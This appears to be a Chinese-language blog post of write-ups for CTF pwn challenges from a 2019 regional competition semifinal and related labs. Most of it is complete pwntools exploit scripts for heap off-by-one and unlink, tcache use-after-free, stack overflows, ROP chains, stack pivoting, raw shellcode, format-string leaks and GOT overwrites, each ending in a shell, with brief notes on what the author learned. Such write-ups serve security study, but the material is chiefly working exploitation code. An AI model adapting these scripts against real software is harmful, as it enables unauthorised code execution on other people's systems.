pwn

second week

with pwn

Posted by pic4xiu on October 11, 2019

10.14 ~ 10.20

这是今年信息安全竞赛华南赛区半决赛的 pwn 题, wp 基本来自大佬

day1

pwn1

off by one

from pwn import *
p = process('./pwn')
elf = ELF("./pwn", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so', checksec=False)
def new(ind,size,content):
	p.sendlineafter('4.show\n','1')
	p.sendlineafter('index:\n',str(ind))
	p.sendlineafter('size:\n',str(size))
	p.sendafter('content:\n',content)
def free(ind):
	p.sendlineafter('4.show\n','2')
	p.sendafter('index:\n',str(ind))
def edit(ind,content):
	p.sendlineafter('4.show\n','3')
	p.sendlineafter('index:\n',str(ind))
	p.sendafter('content:\n',content)
new(2,0xf8,"/bin/sh")
new(32,0xf8,"32")
new(31,0xf8,"31")
new(30,0xf8,"30")
pay = p64(0)+p64(0xf1)+p64(0x6021c8)+p64(0x6021c8+8)
pay = pay.ljust(0xf0)
pay += p64(0xf0)
edit(32,pay)
free(31)
pay = p64(0x6021c8)*3 +  p64(elf.got['free'])
pay = pay.ljust(0xf0)
pay += p64(1)
edit(32,pay)
p.sendline("4")
p.recvuntil("index:")
p.send("32")
p.recvuntil('\n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base = leak - libc.symbols['free']
system = libc.symbols['system'] + libc_base
free_hook = libc.symbols['__free_hook'] + libc_base
pay = 'a'*0x18 +  p64(free_hook)
pay = pay.ljust(0xf0,'a')
pay += p64(1)
edit(30,pay)
edit(32,p64(system))
free(2)
p.interactive()

在这里记录一下貌似我看到的off by one都是使用 unlink 的方法,而且感觉总结出来一个算是心得的东西,就是有 PIE 的反而都是简单的,而不开的反而需要我们去认真分析每个堆的数据结构,通过了解这个来攻破

这里要详细记录一下,毕竟整出来了,23333

这里卡了一点,师傅直接用 free 整的 libc 偏移,今天我用个别的方法(看看行不行),还是感觉不是预期解,主要是没用到 leak

pwn4

buffer overflow

from pwn import*
context.log_level = "debug"
elf = ELF('./pwn')
p = remote("172.29.3.115","9999")
#p = process('./pwn')
libc = elf.libc
payload = 'a'*0x28
p.recv()
p.sendline(payload)
p.recvuntil('a'*0x28)
p.recv(8)
leak = u32(p.recv(4))
success(hex(leak))
libc_base = leak - 0x1b23dc
libc.address = libc_base
one = libc_base + 0x3ac69
print p.recv()
payload = 'a'*0x28 + 'bbbb' + p32(one)
p.sendline(payload)
p.interactive()

这个很简单,我一开始想构造 rop 链,结果一看师傅直接 one_gadegt 妙出,秒啊,直接泄漏 libc.address 还行,这个记录一下,实在太秒了

pwn8

逆向题???

from pwn import*
#io = process("./easy_pwn")
io = remote("172.29.3.119","9999")
elf = ELF("./easy_pwn")
context.log_level = "debug"
from struct import pack
# Padding goes here
p = ''
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000449b9c) # pop rax; ret
p += p64(59) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040139c) # syscall

strings = ""
for i in p :
    strings += chr(ord(i)^0x66)

pay = 'a'*0x50 + strings

io.recv()
io.sendline(pay)
io.interactive()

做这个的时候我只看到了栈溢出,然后觉得输入密码什么是个逆向题,后来发现直接 ropchain 直接完事.注意一下,在ROPgadget --binary pwn --ropchain

	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret

它直接add rax, 1 ; ret,硬生生抬了 59 ,主要是 ropchain 是只用地址完成的 getshell ,所以还是甩 ROPgadget --binary easy_pwn --only "pop|ret" | grep rax比较简单,可以pop rax; ret后接一个 59 ,节省了 (59-2)*8 个字节

pwn3

rop 构造,思路感人

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
    text_base = int(os.popen("pmap {}|awk ''".format(p.pid)).readlines()[1],16)
    log.info("elf_base:{}".format(hex(text_base)))
    log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
    #log.info("get_array:{}".format(hex(text_base + 0x202140)))
    if addr!=0:
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p)
    pause()
#-------------------------------------
def sl(s):
    return p.sendline(s)
def sd(s):
    return p.send(s)
def rc(timeout=0):
    if timeout == 0:
        return p.recv()
    else:
        return p.recv(timeout=timeout)
def ru(s, timeout=0):
    if timeout == 0:
        return p.recvuntil(s)
    else:
        return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
    return p.sendlineafter(a,s)
def sda(a,s):
    return p.sendafter(a,s)
def debug(addr=''):
    gdb.attach(p,addr)
    pause()
def getshell():
    p.interactive()
def msg(msg,addr):
    log.warn(msg+"->"+hex(addr))
#-------------------------------------
def exp():
    aaa=asm(shellcraft.sh())
    pop_rdi_ret=0x00000000004005a3
    pop_rsi_r15=0x00000000004005a1
    pop_r14_r15=0x00000000004005a0
    mov_eax_exe_ret=0x00000000004004e3 
    pop_r12_r13_r14_r15=0x000000000040059c
    pop_rbx_rbp_r12_r13_r14_r15=0x40059A
    mov_rdx_r13_rsi_r14_edi_r15_call=0x400580
    #call r12+rbx*8

    ret=0x004003a9
    main  = 0x4004ED
    syscall_ret=0x0000000000400517
    g = 0x4004da


    pay = "a"*16+p64(main)
    sd(pay)
    #print p.recv()
    stack = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))

    msg("stack",stack)
    stack=stack-0x118
    msg("stack",stack)

    pay = "/bin//sh\x00".ljust(0x10,"\x00")

    pay+=p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(10)+p64(0)+p64(stack)+p64(0)+p64(0)*2
    pay+=p64(mov_rdx_r13_rsi_r14_edi_r15_call)

    pay+=p64(mov_eax_exe_ret)
    pay+=p64(pop_rdi_ret)+p64(stack)
    pay+=p64(pop_rsi_r15)+p64(0)*2
    pay+=p64(syscall_ret)
    sd(pay)
    getshell()


if __name__ == '__main__':
    bin_elf = "./pwn"
    elf = ELF(bin_elf)
    context.binary=bin_elf
    context.log_level = "debug"

    if sys.argv[1] == "r":
        p = remote("172.29.3.114",9999)
        libc = elf.libc
    elif sys.argv[1] == "l":
        libc = elf.libc
        p = process(bin_elf)
    exp()

这道题我想的也是直接去布置 rop ,但是不知道栈地址,还好还好,这个 write 和 read 函数都能避免 \x00 截断问题,我们能根据 write 带出来一个特定偏移的地址,之后就是常规的布置 rop 了

但是,这里学到了,我之前一直以为去 call QWORD PTR [r12+rbx*8] 之后的布置还需要在构造一下,因为我之前看到的都是把 rbx 步成 0 ,这个我没想到可以去直接用 rbx 去控制程序走向, orz

pwn6

UAF ( tcache )

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
    text_base = int(os.popen("pmap {}|awk ''".format(p.pid)).readlines()[1],16)
    log.info("elf_base:{}".format(hex(text_base)))
    log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
    #log.info("get_array:{}".format(hex(text_base + 0x202140)))
    if addr!=0:
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p)
    pause()
#-------------------------------------
def sl(s):
    return p.sendline(s)
def sd(s):
    return p.send(s)
def rc(timeout=0):
    if timeout == 0:
        return p.recv()
    else:
        return p.recv(timeout=timeout)
def ru(s, timeout=0):
    if timeout == 0:
        return p.recvuntil(s)
    else:
        return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
    return p.sendlineafter(a,s)
def sda(a,s):
    return p.sendafter(a,s)
def debug(addr=''):
    gdb.attach(p,addr)
    pause()
def getshell():
    p.interactive()
def msg(msg,addr):
    log.warn(msg+"->"+hex(addr))
#-------------------------------------
def new(size,name,call):
    ru("choice:")
    sl("1")
    ru("Please input the size of compary's name\n")
    sl(str(size))
    ru("please input name:\n")
    sd(name)
    ru("please input compary call:\n")
    sd(call)

def free(idx):
    ru("choice:")
    sl("3")
    ru("Please input the index:\n")
    sl(str(idx))

def show(size):
    ru("choice:")
    sl("2")
    ru("Please input the index:\n")
    sl(str(size))


def exp1():
    new(0x18,"a"*8,"b"*8)
    new(0x100,"a"*8,"b"*8)
    new(0x100,"a"*8,"b"*8)
    #
    free(0)
    for x in range(8):
        free(1)
    new(0x100,"c"*8,"d"*8)#3
    show(3)
    ru("c"*8)
    libc.address = u64(p.recv(6).ljust(8,"\x00"))-88-8-0x10-libc.sym["__malloc_hook"]
    free_hook = libc.sym["__free_hook"]
    system = libc.sym["system"]
    msg("libc.address",libc.address)
    new(0x50,"a"*8,"b"*8)#4
    new(0x50,"a"*8,"b"*8)
    new(0x50,"a"*8,"b"*8)
    free(4)
    free(4)
    new(0x50,p64(free_hook),"b"*8)
    #piedebug(0)
    new(0x50,"/bin/sh\x00","b"*8)
    new(0x50,p64(system),"b"*8)
    #piedebug(0)
    free(7)
#   ru("choice:")
#   sl("3")
#   print p.recv()
    getshell()
    pause()

if __name__ == '__main__':
    bin_elf = "./pwn"
    elf = ELF(bin_elf)
    context.binary=bin_elf
    context.log_level = "debug"
    if sys.argv[1] == "r":
        p = remote("172.29.3.117",9999)
        libc = elf.libc
    elif sys.argv[1] == "l":
        libc = elf.libc
        p = process(bin_elf)
    exp1()

这个比之前做的 tcache 简单一些,很简单的 UAF 。但是我分析这个堆的时候很迷,怎么 bss 段的跑到堆上了,是我忘了点啥吗,很奇怪。

pwn7

栈迁移

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
    text_base = int(os.popen("pmap {}|awk ''".format(p.pid)).readlines()[1],16)
    log.info("elf_base:{}".format(hex(text_base)))
    log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
    #log.info("get_array:{}".format(hex(text_base + 0x202140)))
    if addr!=0:
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p)
    pause()
#-------------------------------------
def sl(s):
    return p.sendline(s)
def sd(s):
    return p.send(s)
def rc(timeout=0):
    if timeout == 0:
        return p.recv()
    else:
        return p.recv(timeout=timeout)
def ru(s, timeout=0):
    if timeout == 0:
        return p.recvuntil(s)
    else:
        return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
    return p.sendlineafter(a,s)
def sda(a,s):
    return p.sendafter(a,s)
def debug(addr=''):
    gdb.attach(p,addr)
    pause()
def getshell():
    p.interactive()
def msg(msg,addr):
    log.warn(msg+"->"+hex(addr))
#-------------------------------------
def exp():
    name ="admin"
    new = ""
    for i in range(len(name)):
        new+=chr(ord(name[i])^i)

    piedebug(0x0118A)
    ru("please input your name\n")
    sl(new)
    ru("do you want to get something???\n")

    sd("a"*0x19)
    ru("a"*0x18)
    canary = u64(p.recv(8))-0x61
    stack = u64(p.recv(6).ljust(8,"\x00"))-0x28
    msg("canary",canary)
    msg("stack",stack)
    ru("OK???\n")
    sd("b"*0x18+p64(canary))

    ru("I think you can do something now\n")
    pay = "c"*0x18+"a"*0x10+p64(canary)+"a"*8+"\xde\x50"#1/16
    #pay = "%7$p%8$p%9$p".ljust(0x18,"\x00")+p64(canary)*4+"\xa2\x11"#1/16
    sd(pay)
    #print p.recv()

    ru("do you want to get something???\n")


    sd("a"*0x21)
    ru("OK???\n")
    sd("b"*0x29)
    ru("a"*8)
    piebase = u64(p.recv(6).ljust(8,"\x00"))-0x1440
    msg("piebase",piebase)
    printf_got=elf.got["printf"]+piebase
    printf_plt=elf.plt["printf"]+piebase
    read_got=elf.got["read"]+piebase
    pop_rdi_ret=piebase+0x14a3
    leave_ret=piebase+0x10dc
    vul = piebase+0x10de
    msg("printf_got",printf_got)
    msg("printf_plt",printf_plt)
    msg("read_got",read_got)

    ru("I think you can do something now\n")
    gadget = "a"*0x8+p64(pop_rdi_ret)+p64(read_got)+p64(printf_plt)
    pay = gadget+p64(vul)+p64(canary)+p64(stack)+p64(leave_ret)
    sd(pay)
    libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.sym["read"]
    system = libc.sym["system"]
    msg("libc.address",libc.address)

    ru("do you want to get something???\n")
    #piedebug(0x11fe)
    sd("a"*0x8)
    ru("OK???\n")
    sd("b"*0x8)
    ru("I think you can do something now\n")
    gadget = "/bin/sh\x00"+p64(pop_rdi_ret)+p64(stack)+p64(system)
    pay = gadget+p64(0)+p64(canary)+p64(stack-0x10)+p64(leave_ret)
    sd(pay)
    getshell()






if __name__ == '__main__':
    bin_elf = "./pwn"
    elf = ELF(bin_elf)
    context.binary=bin_elf
    context.log_level = "debug"
    #context.terminal=['tmux', 'splitw', '-h']
    if sys.argv[1] == "r":
        p = remote("172.29.3.118",9999)
        libc = elf.libc
    elif sys.argv[1] == "l":
        libc = elf.libc
        #取消aslr保护机制
        #p = process(bin_elf, aslr=0)
        #加入libc进行调试:
        #p = process(bin_elf,env = {"LD_PRELOAD": "../libc-2.23.so.i386"})

    while True:
        try:
            p = process(bin_elf)
            exp()
        except:
            p.close()

这道题我在调试的时候遇到问题很多,在线解决.不过把师傅思路整明白了,首先通过过 printf 把 canary 带出来,之后碰运气撞出来 sub_10DE ,之后再来一遍,把 pie 泄漏出来,最后泄漏一个 read 函数把 libc 整出来,最后起 shell ,我在几个具体构造还不太明白,赶紧整

lab6

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import time
context.log_level = "debug"
r = process('./pwn')


read_plt = 0x8048380
puts_plt = 0x8048390
leave_ret = 0x08048418
pop_edx_ret = 0x0804836d
puts_got = 0x8049ff0
buf = 0x0804b000-0x200
buf2 = buf + 0x100
payload = "a"*40
payload += flat([buf,read_plt,leave_ret,0,buf,100])
r.recvuntil(":")
r.send(payload)
time.sleep(0.1)

rop = flat([buf2,puts_plt,pop_edx_ret,puts_got,read_plt,leave_ret,0,buf2,100])

r.sendline(rop)
r.recvuntil("\n")
puts_off = 0x5fca0
libc = u32(r.recv(4)) - puts_off
print "libc:",hex(libc)
time.sleep(0.1)
system_off = 0x3ada0
system = libc + system_off
rop2 = flat([buf,system,0,buf2+4*4,"/bin/sh"])
r.sendline(rop2)
r.interactive()

堆栈迁移,上题引申出来的,发现自己完全忘记了,赶紧看了看,终于懂了,我发现我之前理解错了,或者说理解的很浅, tcl .这题关键是溢出字节太少了,需要去做一个迁移,所以就做了 2 个手脚来 read 输入.发现 32 位和 64 位比起来是真简单,和自己用 exp 写东西一样,2333,难度层面简直是弟弟

尴尬了,今天深入从汇编层面想了想,发现我真的理解错了,啊~~~ 简单说一下.第一次 payload 的

payload = "a"*40
payload += flat([buf,read_plt,leave_ret,0,buf,100])

首先执行 read 函数,后边 3 个参数,之后顺序往下执行,又因为 ebp 一直指向 buf ,所以 ebp 去 buf 了, esp 指向哪呢??对,这就是我之前理解的,现在想想,我是把汇编层面的东西自己理解的有点偏差,应该是这样

首先的 buf 应该首先被 leave 出去,这样 ebp 就指向了 buf , esp 指向 read ,后边顺序执行,之后到了 leave 后我们的 esp 就理所应当的被迁移到了 buf 处,这才是正确的理解, orz

pwn9

小知识点,直接写 shellcode

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def sl(s):
    return p.sendline(s)
def sd(s):
    return p.send(s)
def rc(timeout=0):
    if timeout == 0:
        return p.recv()
    else:
        return p.recv(timeout=timeout)
def ru(s, timeout=0):
    if timeout == 0:
        return p.recvuntil(s)
    else:
        return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
    return p.sendlineafter(a,s)
def sda(a,s):
    return p.sendafter(a,s)
def debug(addr=''):
    gdb.attach(p,addr)
    pause()
def getshell():
    p.interactive()
def msg(msg,addr):
    log.warn(msg+"->"+hex(addr))
#-------------------------------------
def exp():
    jmp = 0x08048554
    shellcode ='''
    xor    eax,eax
    push   eax
    push   0x68732f2f
    push   0x6e69622f
    mov    ebx,esp
    mov    ecx,eax
    mov    edx,eax
    mov    al,0xb
    int    0x80
    xor    eax,eax
    inc    eax
    int    0x80
    '''
    shellcode =asm(shellcode)
    shell="sub esp,0x28;call esp"
    shell =asm(shell)
    ru(">\n")
    pay = shellcode.ljust(0x24,"\x00")
    pay+= p32(jmp)
    pay+=shell
    #debug("b *0x8048554")
    sl(pay)
    getshell()





if __name__ == '__main__':
    bin_elf = "./pwn"
    elf = ELF(bin_elf)
    context.binary=bin_elf
    #context.log_level = "debug"
    #context.terminal=['tmux', 'splitw', '-h']
    if sys.argv[1] == "r":
        p = remote("172.29.3.120",9999)
        libc = elf.libc
    elif sys.argv[1] == "l":
        libc = elf.libc
        p = process(bin_elf)
    exp()

这个就是最简单的往栈里写东西了,连 nx 也关了,这是什么题~~ 不过我发现 wp 和我想得不太一样,师傅先去 jump esp ,然后利用 sub esp,0x28;call esp 起的 shell ,我感觉有点头皮发麻,突然发现我之前整的直接跳到 buf 处必须关 aslr ,学到了学到了~~~~ 下面简单说一下思路:

构造情况shellcode + jmp + shell ,到 jmp 的时候 esp 在 shell ,所以直接 esp 减 0x24+4 就好了,之后就是我们希望的执行了~~~

story

来自西湖论剑

from pwn import *
p= process('story')
#p=remote('ctf2.linkedbyx.com',10895)
libc = ELF('./libc-2.23.so')
p.sendline("%15$p%25$p")
p.recvuntil("0x")

canary = int(p.recvuntil("0x")[:-2],16)
info("canary:0x%x",canary)
addr = int(p.recvuntil('\n')[:-1],16)
libc_base = addr - libc.symbols['__libc_start_main']-0xf0
info("libc:0x%x",libc_base)
one = libc_base+0xf1147
pay = (0x808-0x780)*'\x00'+p64(canary)+p64(0)+p64(one)+'\x00'*400
p.recvuntil('story')
p.sendline('200')
p.recvuntil('story')
p.sendline(pay)
p.interactive()

简单的格式化字符串洞,完全忘记了,简单记录一下怎么找的偏移

先暴力输入一堆%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.然后找偏移,如果有结尾 00 的可以注意一下,然后用 cyclic 加猜测的偏移确定,我是这样的,不知道师傅们怎么确定的,知道 canary 后用 gdb 就能确定 __libc_start_main+240 的偏移,这就简单了.之后填入 one_gadget 完事~~~ ,对,这里记录一下 one_gadget 的骚操作

☁  xihulunjian  one_gadget libc-2.23.so 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

这时摆出来的限制情况,我发现师傅 tql ,他根据输入精准控制栈的情况

noinfoleak

from pwn import *
r = process('./noinfoleak')
elf = ELF('noinfoleak', checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#gdb.attach(r, gdbscript='b *0x00400AC7\nc\n')

def add(size, data):
    r.sendlineafter('>', '1')
    r.sendlineafter('>', str(size))
    r.sendlineafter('>', data)
def delete(index):
    r.sendlineafter('>', '2')
    r.sendlineafter('>', str(index))
def edit(index, data):
    r.sendlineafter('>', '3')
    r.sendlineafter('>', str(index))
    r.sendafter('>', data)

add(0x30, '/bin/sh')
add(0x20, 'AAA')
add(0x20, 'BBB')
delete(1)
delete(2)
delete(1)
arrAddr = 0x06010A0
freeGotAddr = elf.got['free']
putsPltAddr = elf.plt['puts']
putsGotAddr = elf.got['puts']
add(0x20, p64(arrAddr))
add(0x20, 'second')
add(0x20, 'first')

add(0x20, p64(freeGotAddr))
edit(1, p64(putsPltAddr))
# ptr = free_got => puts_plt

edit(6, p64(putsGotAddr))
delete(1)
# ptr = puts_got
LeakStr = r.recvuntil('\n', drop=True)
libcBaseAddr = u64(LeakStr.ljust(8, '\x00')) - libc.symbols['puts']
systemAddr = libcBaseAddr + libc.symbols['system']
print('libc base address: 0x%x' % libcBaseAddr)
print('systemAdd address: 0x%x' % systemAddr)
# overwrite arrAddr[1] to free@got
edit(6, p64(freeGotAddr))
# overwrite free@got to system
edit(1, p64(systemAddr))
# system("/bin/sh")
delete(0)
r.interactive()

这个应该是最符合这题要求的最简洁的预期解了,就是简单的修改 got 表,不需要改 io_file 的结构什么的,看 dalao 的 wp 把我看蒙了,毕竟第一次接触到这种没有 leak 的题,发现还可以